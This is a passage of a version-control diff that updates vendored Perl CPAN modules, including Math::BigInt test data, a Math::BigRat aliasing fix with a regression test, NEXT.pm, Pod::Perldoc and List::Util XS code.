 &bacmp
 +0:-0:0
 +0:+1:-1
@@ -355,6 +368,7 @@
 NaN:inf:
 -inf:NaN:
 NaN:-inf:
+
 &bnorm
 123:123
 12.3:12.3^
@@ -532,10 +546,12 @@
 -1010E-2:-10.1^
 -1.01E+1:-10.1^
 -1.01E-1:-0.101^
+
 &bnan
 1:NaN
 2:NaN
 abc:NaN
+
 &bone
 2:+:1
 2:-:-1
@@ -543,15 +559,18 @@
 boneNaN:+:1
 2:abc:1
 3::1
+
 &binf
 1:+:inf
 2:-:-inf
 3:abc:inf
+
 &is_nan
 123:0
 abc:1
 NaN:1
 -123:0
+
 &is_inf
 +inf::1
 -inf::1
@@ -565,6 +584,7 @@
 -inf:+:0
 +iNfInItY::1
 -InFiNiTy::1
+
 &blsft
 abc:abc:NaN
 +2:+2:8
@@ -579,6 +599,7 @@
 +12:2:10:1200
 +1234:-3:10:NaN
 1234567890123:12:10:1234567890123000000000000
+
 &brsft
 abc:abc:NaN
 +8:+2:2
@@ -597,11 +618,13 @@
 1230000000000:10:10:123
 09876123456789067890:12:10:9876123
 1234561234567890123:13:10:123456
+
 &bsstr
 1e+34:1e+34
 123.456E3:123456e+0
 100:1e+2
 abc:NaN
+
 &bneg
 bnegNaN:NaN
 +inf:-inf
@@ -612,6 +635,7 @@
 -1:1
 +123456789:-123456789
 -123456789:123456789
+
 &babs
 babsNaN:NaN
 +inf:inf
@@ -621,6 +645,7 @@
 -1:1
 +123456789:123456789
 -123456789:123456789
+
 &bcmp
 bcmpNaN:bcmpNaN:
 bcmpNaN:0:
@@ -665,6 +690,7 @@
 NaN:inf:
 -inf:NaN:
 NaN:-inf:
+
 &binc
 abc:NaN
 +inf:inf
@@ -672,6 +698,7 @@
 +0:1
 +1:2
 -1:0
+
 &bdec
 abc:NaN
 +inf:inf
@@ -679,6 +706,7 @@
 +0:-1
 +1:0
 -1:-2
+
 &badd
 abc:abc:NaN
 abc:0:NaN
@@ -728,6 +756,7 @@
 2:2.5:4.5^
 -123:-1.5:-124.5^
 -1.2:1:-0.2^
+
 &bsub
 abc:abc:NaN
 abc:+0:NaN
@@ -770,6 +799,7 @@
 -123456789:+987654321:-1111111110
 -123456789:-987654321:864197532
 +123456789:-987654321:1111111110
+
 &bmul
 abc:abc:NaN
 abc:+0:NaN
@@ -832,6 +862,7 @@
 9999999999999999999:10000000000000000000:99999999999999999990000000000000000000
 3:3.5:10.5^
 3.5:3:10.5^
+
 &bdiv-list
 100:20:5,0
 4095:4095:1,0
@@ -870,6 +901,7 @@
 -8:0:-inf,-8
 -inf:0:-inf,-inf
 0:0:NaN,0
+
 &bdiv
 abc:abc:NaN
 abc:1:NaN
@@ -948,6 +980,7 @@
 # bug in Calc with '99999' vs $BASE-1
 #10000000000000000000000000000000000000000000000000000000000000000000000000000000000:10000000375084540248994272022843165711074:999999962491547381984643365663244474111576
 12:24:0.5^
+
 &bmod
 # inf handling, see table in doc
 0:inf:0
@@ -1021,6 +1054,7 @@
 100041000510123:3:0
 152403346:12345:4321
 9:5:4
+
 &bgcd
 abc:abc:NaN
 abc:+0:NaN
@@ -1037,6 +1071,7 @@
 1034:804:2
 27:90:56:1
 27:90:54:9
+
 &blcm
 abc:abc:NaN
 abc:+0:NaN
@@ -1046,6 +1081,7 @@
 +0:+1:0
 +27:+90:270
 +1034:+804:415668
+
 &band
 abc:abc:NaN
 abc:0:NaN
@@ -1079,6 +1115,7 @@
 0xF0F0F0F0F0F0:0xF0F0F0F0F0F0:0x0xF0F0F0F0F0F0
 0x0F0F0F0F0F0F:0x0F0F0F0F0F0F:0x0x0F0F0F0F0F0F
 0x1F0F0F0F0F0F:0x3F0F0F0F0F0F:0x0x1F0F0F0F0F0F
+
 &bior
 abc:abc:NaN
 abc:0:NaN
@@ -1125,6 +1162,7 @@
 0x0F0F0F0F0F0F:0x0F0F0F0F0F0F:0x0x0F0F0F0F0F0F
 0x0F0F0F0F0F0F:0xF0F0F0F0F0F0:0x0xFFFFFFFFFFFF
 0x1F0F0F0F0F0F:0xF0F0F0F0F0F0:0x0xFFFFFFFFFFFF
+
 &bxor
 abc:abc:NaN
 abc:0:NaN
@@ -1172,6 +1210,7 @@
 0xF0F0F0F0F0F0:0xF0F0F0F0F0F0:0
 0x0F0F0F0F0F0F:0x0F0F0F0F0F0F:0
 0x0F0F0F0F0F0F:0xF0F0F0F0F0F0:0x0xFFFFFFFFFFFF
+
 &bnot
 abc:NaN
 +0:-1
@@ -1180,6 +1219,7 @@
 -1:0
 -2:1
 -12:11
+
 &digit
 0:0:0
 12:0:2
@@ -1202,6 +1242,7 @@
 100000:-3:0
 100000:0:0
 100000:1:0
+
 &mantissa
 abc:NaN
 1e4:1
@@ -1211,6 +1252,7 @@
 -2:-2
 +inf:inf
 -inf:-inf
+
 &exponent
 abc:NaN
 1e4:4
@@ -1221,6 +1263,7 @@
 0:0
 +inf:inf
 -inf:inf
+
 &parts
 abc:NaN,NaN
 1e4:1,4
@@ -1231,6 +1274,7 @@
 0:0,0
 +inf:inf,inf
 -inf:-inf,inf
+
 &bfac
 -1:NaN
 NaNfac:NaN
@@ -1246,6 +1290,26 @@
 10:3628800
 11:39916800
 12:479001600
+
+&bdfac
+NaN:NaN
+-1:NaN
++inf:inf
+-inf:NaN
+0:1
+1:1
+2:2
+3:3
+4:8
+5:15
+6:48
+7:105
+8:384
+9:945
+10:3840
+11:10395
+12:46080
+
 &bpow
 abc:12:NaN
 12:abc:NaN
@@ -1309,6 +1373,7 @@
 10:20:100000000000000000000
 123456:2:15241383936
 #2:0.5:1.41^
+
 &length
 100:3
 10:2
@@ -1319,10 +1384,12 @@
 -123:3
 215960156869840440586892398248:30
 # broot always upgrades
+
 &broot
 144:2:12^
 123:2:11.09053650640941716205160010260993291846^
 # bsqrt always upgrades
+
 &bsqrt
 145:12.04159457879229548012824103037860805243^
 144:12^
@@ -1349,6 +1416,7 @@
 Nan:NaN
 +inf:inf
 -inf:NaN
+
 &bround
 $round_mode('trunc')
 0:12:0
@@ -1429,6 +1497,7 @@
 +1234567:6:1234570
 +12345000:4:12340000
 -12345000:4:-12340000
+
 &is_zero
 0:1
 NaNzero:0
@@ -1437,6 +1506,7 @@
 123:0
 -1:0
 1:0
+
 &is_one
 0:0
 NaNone:0
@@ -1447,6 +1517,7 @@
 -1:0
 -2:0
 # floor and ceil are pretty pointless in integer space, but play safe
+
 &bfloor
 0:0
 NaNfloor:NaN
@@ -1457,6 +1528,7 @@
 2:2
 3:3
 abc:NaN
+
 &bceil
 NaNceil:NaN
 +inf:inf
@@ -1467,6 +1539,7 @@
 2:2
 3:3
 abc:NaN
+
 &bint
 NaN:NaN
 +inf:inf
@@ -1476,6 +1549,41 @@
 -2:-2
 2:2
 3:3
+
+&to_hex
+128:80
+-128:-80
+0:0
+-0:0
+1:1
+0x123456789123456789:123456789123456789
++inf:inf
+-inf:-inf
+NaNto_hex:NaN
+
+&to_oct
+128:200
+-128:-200
+0:0
+-0:0
+1:1
+0b1010111101010101010110110110110110101:1275252666665
+0x123456789123456789:44321263611044321263611
++inf:inf
+-inf:-inf
+NaNto_oct:NaN
+
+&to_bin
+128:10000000
+-128:-10000000
+0:0
+-0:0
+1:1
+0b1010111101010101010110110110110110101:1010111101010101010110110110110110101
++inf:inf
+-inf:-inf
+NaNto_bin:NaN
+
 &as_hex
 128:0x80
 -128:-0x80
@@ -1486,6 +1594,7 @@
 +inf:inf
 -inf:-inf
 NaNas_hex:NaN
+
 &as_bin
 128:0b10000000
 -128:-0b10000000
@@ -1496,3 +1605,15 @@
 +inf:inf
 -inf:-inf
 NaNas_bin:NaN
+
+&as_oct
+128:0200
+-128:-0200
+0:00
+-0:00
+1:01
+0b1010111101010101010110110110110110101:01275252666665
+0x123456789123456789:044321263611044321263611
++inf:inf
+-inf:-inf
+NaNas_oct:NaN

Modified: vendor/perl/dist/cpan/Math-BigInt/t/upgrade.t
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt/t/upgrade.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Math-BigInt/t/upgrade.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 2124            # tests in require'd file
+use Test::More tests => 2196            # tests in require'd file
                          + 2;           # tests in this file
 
 use Math::BigInt upgrade => 'Math::BigFloat';

Modified: vendor/perl/dist/cpan/Math-BigInt/t/upgradef.t
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt/t/upgradef.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Math-BigInt/t/upgradef.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -10,7 +10,7 @@
 
 use Math::BigFloat;
 require Exporter;
-our @ISA = qw/Exporter Math::BigFloat/;
+our @ISA = qw/Math::BigFloat Exporter/;
 
 use overload;
 

Modified: vendor/perl/dist/cpan/Math-BigInt/t/with_sub.t
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt/t/with_sub.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Math-BigInt/t/with_sub.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 2402            # tests in require'd file
+use Test::More tests => 2482            # tests in require'd file
                          + 1;           # tests in this file
 
 use Math::BigFloat with => 'Math::BigInt::Subclass',

Modified: vendor/perl/dist/cpan/Math-BigInt-FastCalc/lib/Math/BigInt/FastCalc.pm
===================================================================
--- vendor/perl/dist/cpan/Math-BigInt-FastCalc/lib/Math/BigInt/FastCalc.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Math-BigInt-FastCalc/lib/Math/BigInt/FastCalc.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,11 +4,11 @@
 use strict;
 use warnings;
 
-use Math::BigInt::Calc '1.999801';
+use Math::BigInt::Calc 1.999801;
 
 our @ISA = qw< Math::BigInt::Calc >;
 
-our $VERSION = '0.5005';
+our $VERSION = '0.5006';
 
 ##############################################################################
 # global constants, flags and accessory

Modified: vendor/perl/dist/cpan/Math-BigRat/lib/Math/BigRat.pm
===================================================================
--- vendor/perl/dist/cpan/Math-BigRat/lib/Math/BigRat.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Math-BigRat/lib/Math/BigRat.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -18,9 +18,9 @@
 
 use Carp ();
 
-use Math::BigFloat '1.999718';
+use Math::BigFloat 1.999718;
 
-our $VERSION = '0.2611';
+our $VERSION = '0.2613';
 
 our @ISA = qw(Math::BigFloat);
 
@@ -887,9 +887,11 @@
     my $gcd_sq = $LIB -> _gcd($LIB -> _copy($y->{_n}), $x->{_d});
 
     $x->{_n} = $LIB -> _mul(scalar $LIB -> _div($x->{_n}, $gcd_pr),
-                            scalar $LIB -> _div($y->{_n}, $gcd_sq));
+                            scalar $LIB -> _div($LIB -> _copy($y->{_n}),
+                                                $gcd_sq));
     $x->{_d} = $LIB -> _mul(scalar $LIB -> _div($x->{_d}, $gcd_sq),
-                            scalar $LIB -> _div($y->{_d}, $gcd_pr));
+                            scalar $LIB -> _div($LIB -> _copy($y->{_d}),
+                                                $gcd_pr));
 
     # compute new sign
     $x->{sign} = $x->{sign} eq $y->{sign} ? '+' : '-';
@@ -1348,15 +1350,19 @@
     # value is used as the base, otherwise the base is assumed to be Euler's
     # constant.
 
+    my ($class, $x, $base, @r);
+
     # Don't objectify the base, since an undefined base, as in $x->blog() or
     # $x->blog(undef) signals that the base is Euler's number.
 
-    # set up parameters
-    my ($class, $x, $base, @r) = (ref($_[0]), @_);
-
-    # objectify is costly, so avoid it
-    if ((!ref($_[0])) || (ref($_[0]) ne ref($_[1]))) {
-        ($class, $x, $base, @r) = objectify(1, @_);
+    if (!ref($_[0]) && $_[0] =~ /^[A-Za-z]|::/) {
+        # E.g., Math::BigFloat->blog(256, 2)
+        ($class, $x, $base, @r) =
+          defined $_[2] ? objectify(2, @_) : objectify(1, @_);
+    } else {
+        # E.g., Math::BigFloat::blog(256, 2) or $x->blog(2)
+        ($class, $x, $base, @r) =
+          defined $_[1] ? objectify(2, @_) : objectify(1, @_);
     }
 
     return $x if $x->modify('blog');
@@ -1417,7 +1423,7 @@
 
     # objectify is costly, so avoid it
     if ((!ref($_[0])) || (ref($_[0]) ne ref($_[1]))) {
-        ($class, $x, $y, @r) = objectify(2, @_);
+        ($class, $x, $y, @r) = objectify(1, @_);
     }
 
     return $x->binf(@r)  if $x->{sign} eq '+inf';

Added: vendor/perl/dist/cpan/Math-BigRat/t/rt121139.t
===================================================================
--- vendor/perl/dist/cpan/Math-BigRat/t/rt121139.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Math-BigRat/t/rt121139.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,16 @@
+#!perl
+
+# check for cpan rt #121139
+
+use strict;
+use warnings;
+use Test::More tests => 2;
+use Math::BigRat;
+
+my $a = Math::BigRat->new('3/2');
+my $x = Math::BigRat->new('2/3');
+is("$a", "3/2");
+
+my $y = $a;
+$y = $x * $y;
+is("$a", "3/2");

Modified: vendor/perl/dist/cpan/NEXT/lib/NEXT.pm
===================================================================
--- vendor/perl/dist/cpan/NEXT/lib/NEXT.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/NEXT/lib/NEXT.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 use warnings;
 use overload ();
 
-our $VERSION = '0.67';
+our $VERSION = '0.67_01';
 
 sub NEXT::ELSEWHERE::ancestors
 {
@@ -64,10 +64,12 @@
                 last if shift @forebears eq $caller_class
             }
             no strict 'refs';
+            # Use *{"..."} when first accessing the CODE slot, to make sure
+            # any typeglob stub is upgraded to a full typeglob.
             @{$NEXT::NEXT{$key,$wanted_method}} =
                 map {
                     my $stash = \%{"${_}::"};
-                    ($stash->{$caller_method} && (*{$stash->{$caller_method}}{CODE}))
+                    ($stash->{$caller_method} && (*{"${_}::$caller_method"}{CODE}))
                         ? *{$stash->{$caller_method}}{CODE}
                         : () } @forebears
                     unless $wanted_method eq 'AUTOLOAD';
@@ -74,7 +76,7 @@
             @{$NEXT::NEXT{$key,$wanted_method}} =
                 map {
                     my $stash = \%{"${_}::"};
-                    ($stash->{AUTOLOAD} && (*{$stash->{AUTOLOAD}}{CODE}))
+                    ($stash->{AUTOLOAD} && (*{"${_}::AUTOLOAD"}{CODE}))
                         ? "${_}::AUTOLOAD"
                         : () } @forebears
                     unless @{$NEXT::NEXT{$key,$wanted_method}||[]};

Modified: vendor/perl/dist/cpan/NEXT/t/next.t
===================================================================
--- vendor/perl/dist/cpan/NEXT/t/next.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/NEXT/t/next.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,4 @@
-BEGIN { print "1..26\n"; }
+BEGIN { print "1..27\n"; }
 
 use NEXT;
 
@@ -16,13 +16,13 @@
 sub B::DESTROY  { $_[0]->NEXT::DESTROY() }
 
 package C;
-sub C::DESTROY  { print "ok 24\n"; $_[0]->NEXT::DESTROY() }
+sub C::DESTROY  { print "ok 25\n"; $_[0]->NEXT::DESTROY() }
 
 package D;
 @D::ISA = qw( B C E );
 sub D::method   { return ( 2, $_[0]->NEXT::method() ) }
 sub D::AUTOLOAD { return ( 8, $_[0]->NEXT::AUTOLOAD() ) }
-sub D::DESTROY  { print "ok 23\n"; $_[0]->NEXT::DESTROY() }
+sub D::DESTROY  { print "ok 24\n"; $_[0]->NEXT::DESTROY() }
 sub D::oops     { $_[0]->NEXT::method() }
 sub D::secondary { return ( 17, 18, map { $_+10 } $_[0]->NEXT::secondary() ) }
 
@@ -31,12 +31,12 @@
 sub E::method   { return ( 4,  $_[0]->NEXT::method(), $_[0]->NEXT::method() ) }
 sub E::AUTOLOAD { return ( 10, $_[0]->NEXT::AUTOLOAD() ) 
 			if $AUTOLOAD =~ /.*(missing_method|secondary)/ }
-sub E::DESTROY  { print "ok 25\n"; $_[0]->NEXT::DESTROY() }
+sub E::DESTROY  { print "ok 26\n"; $_[0]->NEXT::DESTROY() }
 
 package F;
 sub F::method   { return ( 5  ) }
 sub F::AUTOLOAD { return ( 11 ) if $AUTOLOAD =~ /.*(missing_method|secondary)/ }
-sub F::DESTROY  { print "ok 26\n" }
+sub F::DESTROY  { print "ok 27\n" }
 
 package G;
 sub G::method   { return ( 6 ) }
@@ -104,4 +104,15 @@
 };
 print "ok 22\n";
 
-# CAN REDISPATCH DESTRUCTORS (ok 23..26)
+# TEST WITH CONSTANTS (23)
+
+package Hay;
+ at ISA = 'Bee';
+sub foo { return shift->NEXT::foo }
+package Bee;
+use constant foo => 3;
+package main;
+print "not " unless Hay->foo eq '3';
+print "ok 23\n";
+
+# CAN REDISPATCH DESTRUCTORS (ok 24..27)

Modified: vendor/perl/dist/cpan/Pod-Perldoc/lib/Pod/Perldoc.pm
===================================================================
--- vendor/perl/dist/cpan/Pod-Perldoc/lib/Pod/Perldoc.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Pod-Perldoc/lib/Pod/Perldoc.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -12,7 +12,7 @@
 use vars qw($VERSION @Pagers $Bindir $Pod2man
   $Temp_Files_Created $Temp_File_Lifetime
 );
-$VERSION = '3.28';
+$VERSION = '3.2801';
 
 #..........................................................................
 
@@ -486,11 +486,6 @@
 
   $self->opt_M_with('Pod::Perldoc::ToPod');   # the always-there fallthru
   $self->opt_o_with('text');
-  $self->opt_o_with('term') 
-    unless $self->is_mswin32 || $self->is_dos || $self->is_amigaos
-       || !($ENV{TERM} && (
-              ($ENV{TERM} || '') !~ /dumb|emacs|none|unknown/i
-           ));
 
   return;
 }
@@ -1937,11 +1932,6 @@
 	    } elsif($self->is_amigaos) { 
                 last if system($pager, $output) == 0;
             } else {
-                my $formatter = $self->{'formatter_class'};
-                if ( $formatter->can('pager_configuration') ) {
-                  $self->aside("About to call $formatter" . "->pager_configuration(\"$pager\")\n");
-                  $formatter->pager_configuration($pager, $self);
-                }
                 last if system("$pager \"$output\"") == 0;
             }
         }

Modified: vendor/perl/dist/cpan/Scalar-List-Utils/ListUtil.xs
===================================================================
--- vendor/perl/dist/cpan/Scalar-List-Utils/ListUtil.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Scalar-List-Utils/ListUtil.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,14 +7,34 @@
 #include <perl.h>
 #include <XSUB.h>
 
-#define NEED_sv_2pv_flags 1
-#include "ppport.h"
+#ifdef USE_PPPORT_H
+#  define NEED_sv_2pv_flags 1
+#  define NEED_newSVpvn_flags 1
+#  define NEED_sv_catpvn_flags
+#  include "ppport.h"
+#endif
 
-#if PERL_BCDVERSION >= 0x5006000
+#ifndef PERL_VERSION_DECIMAL
+#  define PERL_VERSION_DECIMAL(r,v,s) (r*1000000 + v*1000 + s)
+#endif
+#ifndef PERL_DECIMAL_VERSION
+#  define PERL_DECIMAL_VERSION \
+	  PERL_VERSION_DECIMAL(PERL_REVISION,PERL_VERSION,PERL_SUBVERSION)
+#endif
+#ifndef PERL_VERSION_GE
+#  define PERL_VERSION_GE(r,v,s) \
+	  (PERL_DECIMAL_VERSION >= PERL_VERSION_DECIMAL(r,v,s))
+#endif
+#ifndef PERL_VERSION_LE
+#  define PERL_VERSION_LE(r,v,s) \
+	  (PERL_DECIMAL_VERSION <= PERL_VERSION_DECIMAL(r,v,s))
+#endif
+
+#if PERL_VERSION_GE(5,6,0)
 #  include "multicall.h"
 #endif
 
-#if PERL_BCDVERSION < 0x5023008
+#if !PERL_VERSION_GE(5,23,8)
 #  define UNUSED_VAR_newsp PERL_UNUSED_VAR(newsp)
 #else
 #  define UNUSED_VAR_newsp NOOP
@@ -24,11 +44,39 @@
 #  define CvISXSUB(cv) CvXSUB(cv)
 #endif
 
+#ifndef HvNAMELEN_get
+#define HvNAMELEN_get(stash) strlen(HvNAME(stash))
+#endif
+
+#ifndef HvNAMEUTF8
+#define HvNAMEUTF8(stash) 0
+#endif
+
+#ifndef GvNAMEUTF8
+#ifdef GvNAME_HEK
+#define GvNAMEUTF8(gv) HEK_UTF8(GvNAME_HEK(gv))
+#else
+#define GvNAMEUTF8(gv) 0
+#endif
+#endif
+
+#ifndef SV_CATUTF8
+#define SV_CATUTF8 0
+#endif
+
+#ifndef SV_CATBYTES
+#define SV_CATBYTES 0
+#endif
+
+#ifndef sv_catpvn_flags
+#define sv_catpvn_flags(b,n,l,f) sv_catpvn(b,n,l)
+#endif
+
 /* Some platforms have strict exports. And before 5.7.3 cxinc (or Perl_cxinc)
    was not exported. Therefore platforms like win32, VMS etc have problems
    so we redefine it here -- GMB
 */
-#if PERL_BCDVERSION < 0x5007000
+#if !PERL_VERSION_GE(5,7,0)
 /* Not in 5.6.1. */
 #  ifdef cxinc
 #    undef cxinc
@@ -171,8 +219,8 @@
     if(!items)
         switch(ix) {
             case 0: XSRETURN_UNDEF;
-            case 1: ST(0) = newSViv(0); XSRETURN(1);
-            case 2: ST(0) = newSViv(1); XSRETURN(1);
+            case 1: ST(0) = sv_2mortal(newSViv(0)); XSRETURN(1);
+            case 2: ST(0) = sv_2mortal(newSViv(1)); XSRETURN(1);
         }
 
     sv    = ST(0);
@@ -566,6 +614,56 @@
 }
 
 void
+head(size,...)
+PROTOTYPE: $@
+ALIAS:
+    head = 0
+    tail = 1
+PPCODE:
+{
+    int size = 0;
+    int start = 0;
+    int end = 0;
+    int i = 0;
+
+    size = SvIV( ST(0) );
+
+    if ( ix == 0 ) {
+        start = 1;
+        end = start + size;
+        if ( size < 0 ) {
+            end += items - 1;
+        }
+        if ( end > items ) {
+            end = items;
+        }
+    }
+    else {
+        end = items;
+        if ( size < 0 ) {
+            start = -size + 1;
+        }
+        else {
+            start = end - size;
+        }
+        if ( start < 1 ) {
+            start = 1;
+        }
+    }
+
+    if ( end < start ) {
+        XSRETURN(0);
+    }
+    else {
+        EXTEND( SP, end - start );
+        for ( i = start; i <= end; i++ ) {
+            PUSHs( sv_2mortal( newSVsv( ST(i) ) ) );
+        }
+        XSRETURN( end - start );
+    }
+}
+
+void
 pairs(...)
 PROTOTYPE: @
 PPCODE:
@@ -617,9 +715,9 @@
         SvGETMAGIC(pair);
 
         if(SvTYPE(pair) != SVt_RV)
-            croak("Not a reference at List::Util::unpack() argument %d", i);
+            croak("Not a reference at List::Util::unpairs() argument %d", i);
         if(SvTYPE(SvRV(pair)) != SVt_PVAV)
-            croak("Not an ARRAY reference at List::Util::unpack() argument %d", i);
+            croak("Not an ARRAY reference at List::Util::unpairs() argument %d", i);
 
         /* TODO: assert pair is an ARRAY ref */
         pairav = (AV *)SvRV(pair);
@@ -879,7 +977,7 @@
 /* This MULTICALL-based code appears to fail on perl 5.10.0 and 5.8.9
  * Skip it on those versions (RT#87857)
  */
-#if defined(dMULTICALL) && (PERL_BCDVERSION > 0x5010000 || PERL_BCDVERSION < 0x5008009)
+#if defined(dMULTICALL) && (PERL_VERSION_GE(5,10,1) || PERL_VERSION_LE(5,8,8))
     assert(cv);
     if(!CvISXSUB(cv)) {
         /* Since MULTICALL is about to move it */
@@ -886,6 +984,7 @@
         SV **stack = PL_stack_base + ax;
         I32 ret_gimme = GIMME_V;
         int i;
+        AV *spill = NULL; /* accumulates results if too big for stack */
 
         dMULTICALL;
         I32 gimme = G_ARRAY;
@@ -895,41 +994,64 @@
         for(; argi < items; argi += 2) {
             int count;
 
-            GvSV(agv) = args_copy ? args_copy[argi] : stack[argi];
-            GvSV(bgv) = argi < items-1 ?
-                (args_copy ? args_copy[argi+1] : stack[argi+1]) :
-                &PL_sv_undef;
+            GvSV(agv) = stack[argi];
+            GvSV(bgv) = argi < items-1 ? stack[argi+1]: &PL_sv_undef;
 
             MULTICALL;
             count = PL_stack_sp - PL_stack_base;
 
-            if(count > 2 && !args_copy) {
+            if (count > 2 || spill) {
                 /* We can't return more than 2 results for a given input pair
-                 * without trashing the remaining argmuents on the stack still
-                 * to be processed. So, we'll copy them out to a temporary
-                 * buffer and work from there instead.
+                 * without trashing the remaining arguments on the stack still
+                 * to be processed, or possibly overrunning the stack end.
+                 * So, we'll accumulate the results in a temporary buffer
+                 * instead.
                  * We didn't do this initially because in the common case, most
                  * code blocks will return only 1 or 2 items so it won't be
                  * necessary
                  */
-                int n_args = items - argi;
-                Newx(args_copy, n_args, SV *);
-                SAVEFREEPV(args_copy);
+                int fill;
 
-                Copy(stack + argi, args_copy, n_args, SV *);
+                if (!spill) {
+                    spill = newAV();
+                    AvREAL_off(spill); /* don't ref count its contents */
+                    /* can't mortalize here as every nextstate in the code
+                     * block frees temps */
+                    SAVEFREESV(spill);
+                }
 
-                argi = 0;
-                items = n_args;
+                fill = (int)AvFILL(spill);
+                av_extend(spill, fill + count);
+                for(i = 0; i < count; i++)
+                    (void)av_store(spill, ++fill,
+                                    newSVsv(PL_stack_base[i + 1]));
             }
+            else
+                for(i = 0; i < count; i++)
+                    stack[reti++] = newSVsv(PL_stack_base[i + 1]);
+        }
 
-            for(i = 0; i < count; i++)
-                stack[reti++] = newSVsv(PL_stack_sp[i - count + 1]);
-        }
+        if (spill)
+            /* the POP_MULTICALL will trigger the SAVEFREESV above;
+             * keep it alive  it on the temps stack instead */
+            SvREFCNT_inc_simple_void_NN(spill);
+            sv_2mortal((SV*)spill);
+
         POP_MULTICALL;
 
+        if (spill) {
+            int n = (int)AvFILL(spill) + 1;
+            SP = &ST(reti - 1);
+            EXTEND(SP, n);
+            for (i = 0; i < n; i++)
+                *++SP = *av_fetch(spill, i, FALSE);
+            reti += n;
+            av_clear(spill);
+        }
+
         if(ret_gimme == G_ARRAY)
             for(i = 0; i < reti; i++)
-                sv_2mortal(stack[i]);
+                sv_2mortal(ST(i));
     }
     else
 #endif
@@ -1056,11 +1178,11 @@
                 arg = sv_mortalcopy(arg);
 
             if(SvUOK(arg))
-                sv_setpvf(keysv, "%"UVuf, SvUV(arg));
+                sv_setpvf(keysv, "%" UVuf, SvUV(arg));
             else if(SvIOK(arg))
-                sv_setpvf(keysv, "%"IVdf, SvIV(arg));
+                sv_setpvf(keysv, "%" IVdf, SvIV(arg));
             else
-                sv_setpvf(keysv, "%"NVgf, SvNV(arg));
+                sv_setpvf(keysv, "%" NVgf, SvNV(arg));
 #ifdef HV_FETCH_EMPTY_HE
             he = (HE*) hv_common(seen, NULL, SvPVX(keysv), SvCUR(keysv), 0, HV_FETCH_LVALUE | HV_FETCH_EMPTY_HE, NULL, 0);
             if (HeVAL(he))
@@ -1071,7 +1193,7 @@
             if(hv_exists(seen, SvPVX(keysv), SvCUR(keysv)))
                 continue;
 
-            hv_store(seen, SvPVX(keysv), SvCUR(keysv), &PL_sv_undef, 0);
+            hv_store(seen, SvPVX(keysv), SvCUR(keysv), &PL_sv_yes, 0);
 #endif
 
             if(GIMME_V == G_ARRAY)
@@ -1115,7 +1237,7 @@
             if (hv_exists_ent(seen, arg, 0))
                 continue;
 
-            hv_store_ent(seen, arg, &PL_sv_undef, 0);
+            hv_store_ent(seen, arg, &PL_sv_yes, 0);
 #endif
 
             if(GIMME_V == G_ARRAY)
@@ -1244,7 +1366,10 @@
 INIT:
     SV *tsv;
 CODE:
-#ifdef SvWEAKREF
+#if defined(sv_rvunweaken)
+    PERL_UNUSED_VAR(tsv);
+    sv_rvunweaken(sv);
+#elif defined(SvWEAKREF)
     /* This code stolen from core's sv_rvweaken() and modified */
     if (!SvOK(sv))
         return;
@@ -1329,7 +1454,7 @@
     if(SvAMAGIC(sv) && (tempsv = AMG_CALLun(sv, numer))) {
         sv = tempsv;
     }
-#if PERL_BCDVERSION < 0x5008005
+#if !PERL_VERSION_GE(5,8,5)
     if(SvPOK(sv) || SvPOKp(sv)) {
         RETVAL = looks_like_number(sv) ? &PL_sv_yes : &PL_sv_no;
     }
@@ -1402,14 +1527,19 @@
 
 void
 set_subname(name, sub)
-    char *name
+    SV *name
     SV *sub
 PREINIT:
     CV *cv = NULL;
     GV *gv;
     HV *stash = CopSTASH(PL_curcop);
-    char *s, *end = NULL;
+    const char *s, *end = NULL, *begin = NULL;
     MAGIC *mg;
+    STRLEN namelen;
+    const char* nameptr = SvPV(name, namelen);
+    int utf8flag = SvUTF8(name);
+    int quotes_seen = 0;
+    bool need_subst = FALSE;
 PPCODE:
     if (!SvROK(sub) && SvGMAGICAL(sub))
         mg_get(sub);
@@ -1422,63 +1552,77 @@
     else if (PL_op->op_private & HINT_STRICT_REFS)
         croak("Can't use string (\"%.32s\") as %s ref while \"strict refs\" in use",
               SvPV_nolen(sub), "a subroutine");
-    else if ((gv = gv_fetchpv(SvPV_nolen(sub), FALSE, SVt_PVCV)))
+    else if ((gv = gv_fetchsv(sub, FALSE, SVt_PVCV)))
         cv = GvCVu(gv);
     if (!cv)
         croak("Undefined subroutine %s", SvPV_nolen(sub));
     if (SvTYPE(cv) != SVt_PVCV && SvTYPE(cv) != SVt_PVFM)
         croak("Not a subroutine reference");
-    for (s = name; *s++; ) {
-        if (*s == ':' && s[-1] == ':')
-            end = ++s;
-        else if (*s && s[-1] == '\'')
-            end = s;
+    for (s = nameptr; s <= nameptr + namelen; s++) {
+        if (s > nameptr && *s == ':' && s[-1] == ':') {
+            end = s - 1;
+            begin = ++s;
+            if (quotes_seen)
+                need_subst = TRUE;
+        }
+        else if (s > nameptr && *s != '\0' && s[-1] == '\'') {
+            end = s - 1;
+            begin = s;
